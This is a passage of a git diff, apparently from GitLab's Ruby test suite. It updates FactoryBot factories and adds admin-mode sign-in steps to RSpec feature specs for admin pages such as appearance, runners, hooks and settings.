factory :project_repository_storage_move, class: 'ProjectRepositoryStorageMove' do
- project
+ container { association(:project) }
source_storage_name { 'default' }
diff --git a/spec/factories/project_settings.rb b/spec/factories/project_settings.rb
new file mode 100644
index 00000000000..c0c5039ab51
--- /dev/null
+++ b/spec/factories/project_settings.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :project_setting do
+ project
+ end
+end
diff --git a/spec/factories/projects.rb b/spec/factories/projects.rb
index 639fff06cec..29a25e71095 100644
--- a/spec/factories/projects.rb
+++ b/spec/factories/projects.rb
@@ -32,10 +32,13 @@ FactoryBot.define do
visibility_level == Gitlab::VisibilityLevel::PUBLIC ? ProjectFeature::ENABLED : ProjectFeature::PRIVATE
end
metrics_dashboard_access_level { ProjectFeature::PRIVATE }
+ operations_access_level { ProjectFeature::ENABLED }
# we can't assign the delegated `#ci_cd_settings` attributes directly, as the
# `#ci_cd_settings` relation needs to be created first
group_runners_enabled { nil }
+ merge_pipelines_enabled { nil }
+ merge_trains_enabled { nil }
import_status { nil }
import_jid { nil }
import_correlation_id { nil }
@@ -57,7 +60,8 @@ FactoryBot.define do
merge_requests_access_level: merge_requests_access_level,
repository_access_level: evaluator.repository_access_level,
pages_access_level: evaluator.pages_access_level,
- metrics_dashboard_access_level: evaluator.metrics_dashboard_access_level
+ metrics_dashboard_access_level: evaluator.metrics_dashboard_access_level,
+ operations_access_level: evaluator.operations_access_level
}
project.build_project_feature(hash)
@@ -75,7 +79,9 @@ FactoryBot.define do
project.group&.refresh_members_authorized_projects
# assign the delegated `#ci_cd_settings` attributes after create
- project.reload.group_runners_enabled = evaluator.group_runners_enabled unless evaluator.group_runners_enabled.nil?
+ project.group_runners_enabled = evaluator.group_runners_enabled unless evaluator.group_runners_enabled.nil?
+ project.merge_pipelines_enabled = evaluator.merge_pipelines_enabled unless evaluator.merge_pipelines_enabled.nil?
+ project.merge_trains_enabled = evaluator.merge_trains_enabled unless evaluator.merge_trains_enabled.nil?
if evaluator.import_status
import_state = project.import_state || project.build_import_state
@@ -322,6 +328,9 @@ FactoryBot.define do
trait(:metrics_dashboard_enabled) { metrics_dashboard_access_level { ProjectFeature::ENABLED } }
trait(:metrics_dashboard_disabled) { metrics_dashboard_access_level { ProjectFeature::DISABLED } }
trait(:metrics_dashboard_private) { metrics_dashboard_access_level { ProjectFeature::PRIVATE } }
+ trait(:operations_enabled) { operations_access_level { ProjectFeature::ENABLED } }
+ trait(:operations_disabled) { operations_access_level { ProjectFeature::DISABLED } }
+ trait(:operations_private) { operations_access_level { ProjectFeature::PRIVATE } }
trait :auto_devops do
association :auto_devops, factory: :project_auto_devops
@@ -389,10 +398,6 @@ FactoryBot.define do
jira_service
end
- factory :mock_deployment_project, parent: :project do
- mock_deployment_service
- end
-
factory :prometheus_project, parent: :project do
after :create do |project|
project.create_prometheus_service(
diff --git a/spec/factories/sent_notifications.rb b/spec/factories/sent_notifications.rb
index 11116af7dbb..f10a3235202 100644
--- a/spec/factories/sent_notifications.rb
+++ b/spec/factories/sent_notifications.rb
@@ -4,7 +4,7 @@ FactoryBot.define do
factory :sent_notification do
project
recipient { project.creator }
- noteable { create(:issue, project: project) }
+ noteable { association(:issue, project: project) }
reply_key { SentNotification.reply_key }
end
end
diff --git a/spec/factories/sequences.rb b/spec/factories/sequences.rb
index ca0804965df..b338fd99625 100644
--- a/spec/factories/sequences.rb
+++ b/spec/factories/sequences.rb
@@ -13,4 +13,8 @@ FactoryBot.define do
sequence(:past_time) { |n| 4.hours.ago + (2 * n).seconds }
sequence(:iid)
sequence(:sha) { |n| Digest::SHA1.hexdigest("commit-like-#{n}") }
+ sequence(:oid) { |n| Digest::SHA2.hexdigest("oid-like-#{n}") }
+ sequence(:variable) { |n| "var#{n}" }
+ sequence(:jira_title) { |n| "[PROJ-#{n}]: fix bug" }
+ sequence(:jira_branch) { |n| "feature/PROJ-#{n}" }
end
diff --git a/spec/factories/services.rb b/spec/factories/services.rb
index 1935ace8e96..44b157014a5 100644
--- a/spec/factories/services.rb
+++ b/spec/factories/services.rb
@@ -27,12 +27,6 @@ FactoryBot.define do
end
end
- factory :mock_deployment_service do
- project
- type { 'MockDeploymentService' }
- active { true }
- end
-
factory :prometheus_service do
project
active { true }
diff --git a/spec/factories/snippet_repository_storage_moves.rb b/spec/factories/snippet_repository_storage_moves.rb
new file mode 100644
index 00000000000..ed65dc5374f
--- /dev/null
+++ b/spec/factories/snippet_repository_storage_moves.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :snippet_repository_storage_move, class: 'SnippetRepositoryStorageMove' do
+ container { association(:snippet) }
+
+ source_storage_name { 'default' }
+
+ trait :scheduled do
+ state { SnippetRepositoryStorageMove.state_machines[:state].states[:scheduled].value }
+ end
+
+ trait :started do
+ state { SnippetRepositoryStorageMove.state_machines[:state].states[:started].value }
+ end
+
+ trait :replicated do
+ state { SnippetRepositoryStorageMove.state_machines[:state].states[:replicated].value }
+ end
+
+ trait :finished do
+ state { SnippetRepositoryStorageMove.state_machines[:state].states[:finished].value }
+ end
+
+ trait :failed do
+ state { SnippetRepositoryStorageMove.state_machines[:state].states[:failed].value }
+ end
+ end
+end
diff --git a/spec/factories/terraform/state.rb b/spec/factories/terraform/state.rb
index c54a8aedbc6..fb63c845073 100644
--- a/spec/factories/terraform/state.rb
+++ b/spec/factories/terraform/state.rb
@@ -6,11 +6,6 @@ FactoryBot.define do
sequence(:name) { |n| "state-#{n}" }
- trait :with_file do
- versioning_enabled { false }
- file { fixture_file_upload('spec/fixtures/terraform/terraform.tfstate', 'application/json') }
- end
-
trait :locked do
sequence(:lock_xid) { |n| "lock-#{n}" }
locked_at { Time.current }
@@ -22,8 +17,5 @@ FactoryBot.define do
create(:terraform_state_version, terraform_state: state)
end
end
-
- # Remove with https://gitlab.com/gitlab-org/gitlab/-/issues/235108
- factory :legacy_terraform_state, parent: :terraform_state, traits: [:with_file]
end
end
diff --git a/spec/factories/usage_data.rb b/spec/factories/usage_data.rb
index 87f806a3d74..f933461a07a 100644
--- a/spec/factories/usage_data.rb
+++ b/spec/factories/usage_data.rb
@@ -19,15 +19,16 @@ FactoryBot.define do
create(:jira_import_state, :finished, project: projects[1], label: jira_label, imported_issues_count: 3)
create(:jira_import_state, :scheduled, project: projects[1], label: jira_label)
create(:prometheus_service, project: projects[1])
+ create(:service, project: projects[1], type: 'JenkinsService', active: true)
create(:service, project: projects[0], type: 'SlackSlashCommandsService', active: true)
create(:service, project: projects[1], type: 'SlackService', active: true)
create(:service, project: projects[2], type: 'SlackService', active: true)
create(:service, project: projects[2], type: 'MattermostService', active: false)
create(:service, group: group, project: nil, type: 'MattermostService', active: true)
create(:service, :template, type: 'MattermostService', active: true)
- matermost_instance = create(:service, :instance, type: 'MattermostService', active: true)
- create(:service, project: projects[1], type: 'MattermostService', active: true, inherit_from_id: matermost_instance.id)
- create(:service, group: group, project: nil, type: 'SlackService', active: true, inherit_from_id: matermost_instance.id)
+ mattermost_instance = create(:service, :instance, type: 'MattermostService', active: true)
+ create(:service, project: projects[1], type: 'MattermostService', active: true, inherit_from_id: mattermost_instance.id)
+ create(:service, group: group, project: nil, type: 'SlackService', active: true, inherit_from_id: mattermost_instance.id)
create(:service, project: projects[2], type: 'CustomIssueTrackerService', active: true)
create(:project_error_tracking_setting, project: projects[0])
create(:project_error_tracking_setting, project: projects[1], enabled: false)
diff --git a/spec/factories/users.rb b/spec/factories/users.rb
index 1b430009ab5..9b5e4a981a0 100644
--- a/spec/factories/users.rb
+++ b/spec/factories/users.rb
@@ -35,6 +35,10 @@ FactoryBot.define do
user_type { :alert_bot }
end
+ trait :deactivated do
+ after(:build) { |user, _| user.deactivate! }
+ end
+
trait :project_bot do
user_type { :project_bot }
end
@@ -43,6 +47,10 @@ FactoryBot.define do
user_type { :migration_bot }
end
+ trait :security_bot do
+ user_type { :security_bot }
+ end
+
trait :external do
external { true }
end
diff --git a/spec/factories_spec.rb b/spec/factories_spec.rb
index 7241af6e8c0..1afd5bdb2ca 100644
--- a/spec/factories_spec.rb
+++ b/spec/factories_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'factories' do
+ include DatabaseHelpers
+
shared_examples 'factory' do |factory|
describe "#{factory.name} factory" do
it 'does not raise error when built' do
@@ -32,6 +34,14 @@ RSpec.describe 'factories' do
fork_network_member
].to_set.freeze
+ # Some factories and their corresponding models are based on
+ # database views. In order to use those, we have to swap the
+ # view out with a table of the same structure.
+ factories_based_on_view = %i[
+ postgres_index
+ postgres_index_bloat_estimate
+ ].to_set.freeze
+
without_fd, with_fd = FactoryBot.factories
.partition { |factory| skip_factory_defaults.include?(factory.name) }
@@ -40,6 +50,13 @@ RSpec.describe 'factories' do
let_it_be(:project) { create_default(:project, :repository) }
let_it_be(:user) { create_default(:user) }
+ before do
+ factories_based_on_view.each do |factory|
+ view = build(factory).class.table_name
+ swapout_view_for_table(view)
+ end
+ end
+
with_fd.each do |factory|
it_behaves_like 'factory', factory
end
diff --git a/spec/features/abuse_report_spec.rb b/spec/features/abuse_report_spec.rb
index 5959fcd6306..5fdd0816006 100644
--- a/spec/features/abuse_report_spec.rb
+++ b/spec/features/abuse_report_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Abuse reports' do
sign_in(create(:user))
end
- it 'Report abuse' do
+ it 'report abuse' do
visit user_path(another_user)
click_link 'Report abuse'
diff --git a/spec/features/admin/admin_abuse_reports_spec.rb b/spec/features/admin/admin_abuse_reports_spec.rb
index 845e186dd5b..192182adddc 100644
--- a/spec/features/admin/admin_abuse_reports_spec.rb
+++ b/spec/features/admin/admin_abuse_reports_spec.rb
@@ -7,7 +7,9 @@ RSpec.describe "Admin::AbuseReports", :js do
context 'as an admin' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe 'if a user has been reported for abuse' do
diff --git a/spec/features/admin/admin_appearance_spec.rb b/spec/features/admin/admin_appearance_spec.rb
index 48aaec6e6df..cd136af8d69 100644
--- a/spec/features/admin/admin_appearance_spec.rb
+++ b/spec/features/admin/admin_appearance_spec.rb
@@ -4,9 +4,11 @@ require 'spec_helper'
RSpec.describe 'Admin Appearance' do
let!(:appearance) { create(:appearance) }
+ let(:admin) { create(:admin) }
- it 'Create new appearance' do
- sign_in(create(:admin))
+ it 'create new appearance' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
fill_in 'appearance_title', with: 'MyCompany'
@@ -25,8 +27,9 @@ RSpec.describe 'Admin Appearance' do
expect(page).to have_content 'Last edit'
end
- it 'Preview sign-in page appearance' do
- sign_in(create(:admin))
+ it 'preview sign-in page appearance' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
click_link "Sign-in page"
@@ -34,8 +37,9 @@ RSpec.describe 'Admin Appearance' do
expect_custom_sign_in_appearance(appearance)
end
- it 'Preview new project page appearance' do
- sign_in(create(:admin))
+ it 'preview new project page appearance' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
click_link "New project page"
@@ -45,7 +49,8 @@ RSpec.describe 'Admin Appearance' do
context 'Custom system header and footer' do
before do
- sign_in(create(:admin))
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
context 'when system header and footer messages are empty' do
@@ -75,14 +80,15 @@ RSpec.describe 'Admin Appearance' do
end
end
- it 'Custom sign-in page' do
+ it 'custom sign-in page' do
visit new_user_session_path
expect_custom_sign_in_appearance(appearance)
end
- it 'Custom new project page' do
- sign_in create(:user)
+ it 'custom new project page' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit new_project_path
expect_custom_new_project_appearance(appearance)
@@ -91,6 +97,7 @@ RSpec.describe 'Admin Appearance' do
context 'Profile page with custom profile image guidelines' do
before do
sign_in(create(:admin))
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
fill_in 'appearance_profile_image_guidelines', with: 'Custom profile image guidelines, please :smile:!'
click_button 'Update appearance settings'
@@ -104,8 +111,9 @@ RSpec.describe 'Admin Appearance' do
end
end
- it 'Appearance logo' do
- sign_in(create(:admin))
+ it 'appearance logo' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
attach_file(:appearance_logo, logo_fixture)
@@ -116,8 +124,9 @@ RSpec.describe 'Admin Appearance' do
expect(page).not_to have_css(logo_selector)
end
- it 'Header logos' do
- sign_in(create(:admin))
+ it 'header logos' do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
attach_file(:appearance_header_logo, logo_fixture)
@@ -129,7 +138,8 @@ RSpec.describe 'Admin Appearance' do
end
it 'Favicon' do
- sign_in(create(:admin))
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_appearances_path
attach_file(:appearance_favicon, logo_fixture)
diff --git a/spec/features/admin/admin_broadcast_messages_spec.rb b/spec/features/admin/admin_broadcast_messages_spec.rb
index 091ed0a3396..476dd4469bc 100644
--- a/spec/features/admin/admin_broadcast_messages_spec.rb
+++ b/spec/features/admin/admin_broadcast_messages_spec.rb
@@ -4,12 +4,14 @@ require 'spec_helper'
RSpec.describe 'Admin Broadcast Messages' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
create(:broadcast_message, :expired, message: 'Migration to new server')
visit admin_broadcast_messages_path
end
- it 'See broadcast messages list' do
+ it 'see broadcast messages list' do
expect(page).to have_content 'Migration to new server'
end
@@ -42,7 +44,7 @@ RSpec.describe 'Admin Broadcast Messages' do
expect(page).to have_selector 'strong', text: '4:00 CST to 5:00 CST'
end
- it 'Edit an existing broadcast message' do
+ it 'edit an existing broadcast message' do
click_link 'Edit'
fill_in 'broadcast_message_message', with: 'Application update RIGHT NOW'
click_button 'Update broadcast message'
@@ -51,7 +53,7 @@ RSpec.describe 'Admin Broadcast Messages' do
expect(page).to have_content 'Application update RIGHT NOW'
end
- it 'Remove an existing broadcast message' do
+ it 'remove an existing broadcast message' do
click_link 'Remove'
expect(current_path).to eq admin_broadcast_messages_path
diff --git a/spec/features/admin/admin_browse_spam_logs_spec.rb b/spec/features/admin/admin_browse_spam_logs_spec.rb
index 65847876c11..471a7e8f0ab 100644
--- a/spec/features/admin/admin_browse_spam_logs_spec.rb
+++ b/spec/features/admin/admin_browse_spam_logs_spec.rb
@@ -6,10 +6,12 @@ RSpec.describe 'Admin browse spam logs' do
let!(:spam_log) { create(:spam_log, description: 'abcde ' * 20) }
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
- it 'Browse spam logs' do
+ it 'browse spam logs' do
visit admin_spam_logs_path
expect(page).to have_content('Spam Logs')
diff --git a/spec/features/admin/admin_builds_spec.rb b/spec/features/admin/admin_builds_spec.rb
index 166fde0f37a..42827dd5b49 100644
--- a/spec/features/admin/admin_builds_spec.rb
+++ b/spec/features/admin/admin_builds_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'Admin Builds' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe 'GET /admin/builds' do
diff --git a/spec/features/admin/admin_cohorts_spec.rb b/spec/features/admin/admin_cohorts_spec.rb
index f91446ed222..982a9333275 100644
--- a/spec/features/admin/admin_cohorts_spec.rb
+++ b/spec/features/admin/admin_cohorts_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'Cohorts page' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
context 'with usage ping enabled' do
diff --git a/spec/features/admin/admin_deploy_keys_spec.rb b/spec/features/admin/admin_deploy_keys_spec.rb
index 2039a6ff1ee..c326d0fd741 100644
--- a/spec/features/admin/admin_deploy_keys_spec.rb
+++ b/spec/features/admin/admin_deploy_keys_spec.rb
@@ -7,7 +7,9 @@ RSpec.describe 'admin deploy keys' do
let!(:another_deploy_key) { create(:another_deploy_key, public: true) }
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
it 'show all public deploy keys' do
diff --git a/spec/features/admin/admin_dev_ops_report_spec.rb b/spec/features/admin/admin_dev_ops_report_spec.rb
index 3b2c9d75870..a05fa0640d8 100644
--- a/spec/features/admin/admin_dev_ops_report_spec.rb
+++ b/spec/features/admin/admin_dev_ops_report_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'DevOps Report page', :js do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
context 'with devops_adoption feature flag disabled' do
diff --git a/spec/features/admin/admin_disables_git_access_protocol_spec.rb b/spec/features/admin/admin_disables_git_access_protocol_spec.rb
index d7feb21a8b3..f7f0592a315 100644
--- a/spec/features/admin/admin_disables_git_access_protocol_spec.rb
+++ b/spec/features/admin/admin_disables_git_access_protocol_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe 'Admin disables Git access protocol', :js do
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
context 'with HTTP disabled' do
diff --git a/spec/features/admin/admin_disables_two_factor_spec.rb b/spec/features/admin/admin_disables_two_factor_spec.rb
index 216c8ae36c7..1f34c4ed17c 100644
--- a/spec/features/admin/admin_disables_two_factor_spec.rb
+++ b/spec/features/admin/admin_disables_two_factor_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'Admin disables 2FA for a user' do
it 'successfully', :js do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
user = create(:user, :two_factor)
edit_user(user)
@@ -19,7 +21,9 @@ RSpec.describe 'Admin disables 2FA for a user' do
end
it 'for a user without 2FA enabled' do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
user = create(:user)
edit_user(user)
diff --git a/spec/features/admin/admin_groups_spec.rb b/spec/features/admin/admin_groups_spec.rb
index 96709cf8a12..0e350a5e12e 100644
--- a/spec/features/admin/admin_groups_spec.rb
+++ b/spec/features/admin/admin_groups_spec.rb
@@ -7,12 +7,14 @@ RSpec.describe 'Admin Groups' do
include Spec::Support::Helpers::Features::MembersHelpers
let(:internal) { Gitlab::VisibilityLevel::INTERNAL }
- let(:user) { create :user }
- let!(:group) { create :group }
- let!(:current_user) { create(:admin) }
+
+ let_it_be(:user) { create :user }
+ let_it_be(:group) { create :group }
+ let_it_be(:current_user) { create(:admin) }
before do
sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
stub_application_setting(default_group_visibility: internal)
end
@@ -25,6 +27,17 @@ RSpec.describe 'Admin Groups' do
end
describe 'create a group' do
+ describe 'with expected fields' do
+ it 'renders from as expected', :aggregate_failures do
+ visit new_admin_group_path
+
+ expect(page).to have_field('name')
+ expect(page).to have_field('group_path')
+ expect(page).to have_field('group_visibility_level_0')
+ expect(page).to have_field('description')
+ end
+ end
+
it 'creates new group' do
visit admin_groups_path
diff --git a/spec/features/admin/admin_health_check_spec.rb b/spec/features/admin/admin_health_check_spec.rb
index dfc7f5f6f84..0f6cba6c105 100644
--- a/spec/features/admin/admin_health_check_spec.rb
+++ b/spec/features/admin/admin_health_check_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe "Admin Health Check", :feature do
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe '#show' do
diff --git a/spec/features/admin/admin_hook_logs_spec.rb b/spec/features/admin/admin_hook_logs_spec.rb
index f4a70621cee..3f63bf9a15c 100644
--- a/spec/features/admin/admin_hook_logs_spec.rb
+++ b/spec/features/admin/admin_hook_logs_spec.rb
@@ -8,7 +8,9 @@ RSpec.describe 'Admin::HookLogs' do
let(:hook_log) { create(:web_hook_log, web_hook: system_hook, internal_error_message: 'some error') }
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
it 'show list of hook logs' do
diff --git a/spec/features/admin/admin_hooks_spec.rb b/spec/features/admin/admin_hooks_spec.rb
index 1c14d65a1cd..3fed402267c 100644
--- a/spec/features/admin/admin_hooks_spec.rb
+++ b/spec/features/admin/admin_hooks_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Admin::Hooks' do
before do
sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
end
describe 'GET /admin/hooks' do
diff --git a/spec/features/admin/admin_labels_spec.rb b/spec/features/admin/admin_labels_spec.rb
index 35638e0829b..815a73b1450 100644
--- a/spec/features/admin/admin_labels_spec.rb
+++ b/spec/features/admin/admin_labels_spec.rb
@@ -7,7 +7,9 @@ RSpec.describe 'admin issues labels' do
let!(:feature_label) { Label.create(title: 'feature', template: true) }
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe 'list' do
diff --git a/spec/features/admin/admin_manage_applications_spec.rb b/spec/features/admin/admin_manage_applications_spec.rb
index 7a9a6f2ccb8..e54837ede11 100644
--- a/spec/features/admin/admin_manage_applications_spec.rb
+++ b/spec/features/admin/admin_manage_applications_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'admin manage applications' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
it 'creates new oauth application' do
diff --git a/spec/features/admin/admin_mode/login_spec.rb b/spec/features/admin/admin_mode/login_spec.rb
index 7cbba9ec674..f1dee075925 100644
--- a/spec/features/admin/admin_mode/login_spec.rb
+++ b/spec/features/admin/admin_mode/login_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Admin Mode Login', :clean_gitlab_redis_shared_state, :do_not_mock_admin_mode do
+RSpec.describe 'Admin Mode Login' do
include TermsHelper
include UserLoginHelper
include LdapHelpers
diff --git a/spec/features/admin/admin_mode/logout_spec.rb b/spec/features/admin/admin_mode/logout_spec.rb
index b4d49fe760f..b7fa59bbfb7 100644
--- a/spec/features/admin/admin_mode/logout_spec.rb
+++ b/spec/features/admin/admin_mode/logout_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Admin Mode Logout', :js, :clean_gitlab_redis_shared_state, :do_not_mock_admin_mode do
+RSpec.describe 'Admin Mode Logout', :js do
include TermsHelper
include UserLoginHelper
diff --git a/spec/features/admin/admin_mode/workers_spec.rb b/spec/features/admin/admin_mode/workers_spec.rb
index d037f5555dc..fbbcf19063b 100644
--- a/spec/features/admin/admin_mode/workers_spec.rb
+++ b/spec/features/admin/admin_mode/workers_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
# Test an operation that triggers background jobs requiring administrative rights
-RSpec.describe 'Admin mode for workers', :do_not_mock_admin_mode, :request_store, :clean_gitlab_redis_shared_state do
+RSpec.describe 'Admin mode for workers', :request_store do
let(:user) { create(:user) }
let(:user_to_delete) { create(:user) }
diff --git a/spec/features/admin/admin_mode_spec.rb b/spec/features/admin/admin_mode_spec.rb
index 3b4edbc1a07..8169b3a20db 100644
--- a/spec/features/admin/admin_mode_spec.rb
+++ b/spec/features/admin/admin_mode_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Admin mode', :clean_gitlab_redis_shared_state, :do_not_mock_admin_mode do
+RSpec.describe 'Admin mode' do
include MobileHelpers
include StubENV
diff --git a/spec/features/admin/admin_projects_spec.rb b/spec/features/admin/admin_projects_spec.rb
index 522da760062..ff4e592234b 100644
--- a/spec/features/admin/admin_projects_spec.rb
+++ b/spec/features/admin/admin_projects_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe "Admin::Projects" do
before do
sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
end
describe "GET /admin/projects" do
diff --git a/spec/features/admin/admin_requests_profiles_spec.rb b/spec/features/admin/admin_requests_profiles_spec.rb
index c649fdd8e19..e92528d431d 100644
--- a/spec/features/admin/admin_requests_profiles_spec.rb
+++ b/spec/features/admin/admin_requests_profiles_spec.rb
@@ -7,7 +7,9 @@ RSpec.describe 'Admin::RequestsProfilesController' do
before do
stub_const('Gitlab::RequestProfiler::PROFILES_DIR', tmpdir)
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
after do
diff --git a/spec/features/admin/admin_runners_spec.rb b/spec/features/admin/admin_runners_spec.rb
index 0e20ccf6bec..e16cde3fa1c 100644
--- a/spec/features/admin/admin_runners_spec.rb
+++ b/spec/features/admin/admin_runners_spec.rb
@@ -9,7 +9,9 @@ RSpec.describe "Admin Runners" do
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe "Runners page" do
@@ -282,6 +284,12 @@ RSpec.describe "Admin Runners" do
visit admin_runner_path(runner)
end
+ describe 'runner page breadcrumbs' do
+ it 'contains the current runner’s short sha' do
+ expect(page.find('h2')).to have_content(runner.short_sha)
+ end
+ end
+
describe 'projects' do
it 'contains project names' do
expect(page).to have_content(@project1.full_name)
diff --git a/spec/features/admin/admin_sees_project_statistics_spec.rb b/spec/features/admin/admin_sees_project_statistics_spec.rb
index d94889b825a..be781730924 100644
--- a/spec/features/admin/admin_sees_project_statistics_spec.rb
+++ b/spec/features/admin/admin_sees_project_statistics_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe "Admin > Admin sees project statistics" do
before do
sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
visit admin_project_path(project)
end
@@ -15,7 +16,7 @@ RSpec.describe "Admin > Admin sees project statistics" do
let(:project) { create(:project, :repository) }
it "shows project statistics" do
- expect(page).to have_content("Storage: 0 Bytes (Repository: 0 Bytes / Wikis: 0 Bytes / Build Artifacts: 0 Bytes / LFS: 0 Bytes / Snippets: 0 Bytes)")
+ expect(page).to have_content("Storage: 0 Bytes (Repository: 0 Bytes / Wikis: 0 Bytes / Build Artifacts: 0 Bytes / LFS: 0 Bytes / Snippets: 0 Bytes / Packages: 0 Bytes / Uploads: 0 Bytes)")
end
end
diff --git a/spec/features/admin/admin_sees_projects_statistics_spec.rb b/spec/features/admin/admin_sees_projects_statistics_spec.rb
index 786fa98255c..2e96814d1e9 100644
--- a/spec/features/admin/admin_sees_projects_statistics_spec.rb
+++ b/spec/features/admin/admin_sees_projects_statistics_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe "Admin > Admin sees projects statistics" do
create(:project, :repository) { |project| project.statistics.destroy }
sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
visit admin_projects_path
end
diff --git a/spec/features/admin/admin_serverless_domains_spec.rb b/spec/features/admin/admin_serverless_domains_spec.rb
index 256887f425f..0312e82e1ba 100644
--- a/spec/features/admin/admin_serverless_domains_spec.rb
+++ b/spec/features/admin/admin_serverless_domains_spec.rb
@@ -7,10 +7,12 @@ RSpec.describe 'Admin Serverless Domains', :js do
before do
allow(Gitlab.config.pages).to receive(:enabled).and_return(true)
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
- it 'Add domain with certificate' do
+ it 'add domain with certificate' do
visit admin_serverless_domains_path
fill_in 'pages_domain[domain]', with: 'foo.com'
@@ -30,7 +32,7 @@ RSpec.describe 'Admin Serverless Domains', :js do
expect(page).to have_content '/CN=test-certificate'
end
- it 'Update domain certificate' do
+ it 'update domain certificate' do
visit admin_serverless_domains_path
fill_in 'pages_domain[domain]', with: 'foo.com'
@@ -60,7 +62,7 @@ RSpec.describe 'Admin Serverless Domains', :js do
context 'when domain exists' do
let!(:domain) { create(:pages_domain, :instance_serverless) }
- it 'Displays a modal when attempting to delete a domain' do
+ it 'displays a modal when attempting to delete a domain' do
visit admin_serverless_domains_path
click_button 'Delete domain'
@@ -71,7 +73,7 @@ RSpec.describe 'Admin Serverless Domains', :js do
end
end
- it 'Displays a modal with disabled button if unable to delete a domain' do
+ it 'displays a modal with disabled button if unable to delete a domain' do
create(:serverless_domain_cluster, pages_domain: domain)
visit admin_serverless_domains_path
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index 8929abc7edc..06d31b544ea 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_not_mock_admin_mode do
+RSpec.describe 'Admin updates settings' do
include StubENV
include TermsHelper
include UsageDataHelpers
@@ -24,7 +24,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
visit general_admin_application_settings_path
end
- it 'Change visibility settings' do
+ it 'change visibility settings' do
page.within('.as-visibility-access') do
choose "application_setting_default_project_visibility_20"
click_button 'Save changes'
